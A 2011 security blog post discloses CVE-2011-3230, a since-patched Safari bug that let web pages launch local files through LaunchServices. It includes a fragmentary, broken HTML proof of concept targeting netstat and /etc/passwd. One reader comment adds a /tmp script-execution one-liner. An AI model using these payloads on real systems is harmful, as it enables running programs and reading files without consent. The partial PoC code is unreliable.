Wednesday, October 12, 2011

CVE-2011-3230 - Launch any file path from web page

CVE: CVE-2011-3230
Found By: Aaron Sigel

There's not a ton to say about this bug aside from "Yikes"!  I think the PoC speaks for itself.  This allows you to send any "file:" url to LaunchServices, which will run binaries, launch applications, or open content in the default application, all from a web page.  The only caveat is that since LaunchServices will check for the quarantine bit, you cannot directly push a binary to the browser and launch it.  Other than that, you can run or launch anything you can access by using the method in the html provided below.

<base href="file://">
 function DoIt() {
<select id="cmdToRun">
 <option value="/usr/sbin/netstat">Launch /usr/bin/netstat</option>
 <option value="/etc/passwd">Launch /etc/passwd</option>
 <option value="/Applications/Utilities/Bluetooth File">
Launch Bluetooth File</option>
<br />
<input type=button value="Launch" onclick="DoIt()">
<br />

Apple's advisory:


  1. It's worth noting that anyone taking advantage of this vulnerability can arbitrarily run curl -O to download any 3rd party binaries to the computer, circumventing the sandbox.

  2. Since the URL is just sent off to LaunchServices you cannot actually do a curl -O, but what you can do is push a file type that LaunchServices does not think is "unsafe", or use an absolute path that is not Quarantined, or a number of other creative things.

  3. Does this only apply to Safari or also to other WebKit based browsers (Like Chrome)?

  4. As far as I know this only affects Safari on Mac OS X.

  5. does this affect Safari 5.1 or 5.1.1??? I am worried ...should I update to 5.1.1 which was released tonite?

  6. This issue was fixed in Apple's update today. This does not affect Safari 5.1.1.

  7. It's not a bug - It's a feature!

  8. Chrome on MacOS warns with:

    Not allowed to load local resource: file:///etc/passwd

    and so does Firefox:

    Security Error: Content at may not load or link to file:///etc/passwd.

    Great find!

  9. Great! When is this to be included in IE?

  10. I have no idea what that means, so I will assume never.

  11. wohoo, passwd visible in linux! even other *important* files in /etc are readable!
    chmod o-r... result: no login possible..tsssaah!! ^^
    indeed, "feature richness"

    time to implement some stuff like SELinux @ my systemSsSzz... but for sure - my home is safe until now! *puuh* xD

    nice burst, just droppin a few lines of code & see files you never thought... remember the time, when IE5 shows your HDD content -> your pc is not safe, "we non-hackerz" 0wn3d you - almost the same... ^^

    anybody checked something like

    mkdir -p /tmp/\ /\ /; echo "echo "try to run some dirt code in your secure non-noexec mounted /tmp *ggg*"" > /tmp/\ /\ /; chmod +x /tmp/\ /\ /;sh /tmp/\ /\ /;mount

    or an easy one, just havin fun with database credentials...


    for sure, you will never end up surfin on your vserver machine, but hey... o_O

    aaron, thx for this simple, but feature-rich advice!

  12. Sorry if my PoC was unclear, but the point of putting /etc/passwd was to harmlessly demonstrate the nature of the bug. That is, with this bug you can trigger launch services to launch local paths, which should be  disallowed by browsers.  Fooling people by  displaying world readable file in /etc was not the goal, and Mac OS X doesn't use this anymore for user accounts. The outcome depends on the file type bindings on your system. Ex: MachO binaries are handled by, so they run.  Apple has a growing list of unsafe types known to LS, which are the only ones blocked, and then only if pushed to the user by a Quarantined application and never before opened (which clears Quarantine). 

  13. Side note: if you found something affected by this on Linux, it isn't this bug and you have found a new bug. Funnily enough, those fake pages with views of your local system invoked by a remote page were probably more dangerous than those folks realized, and is probably why it no longer works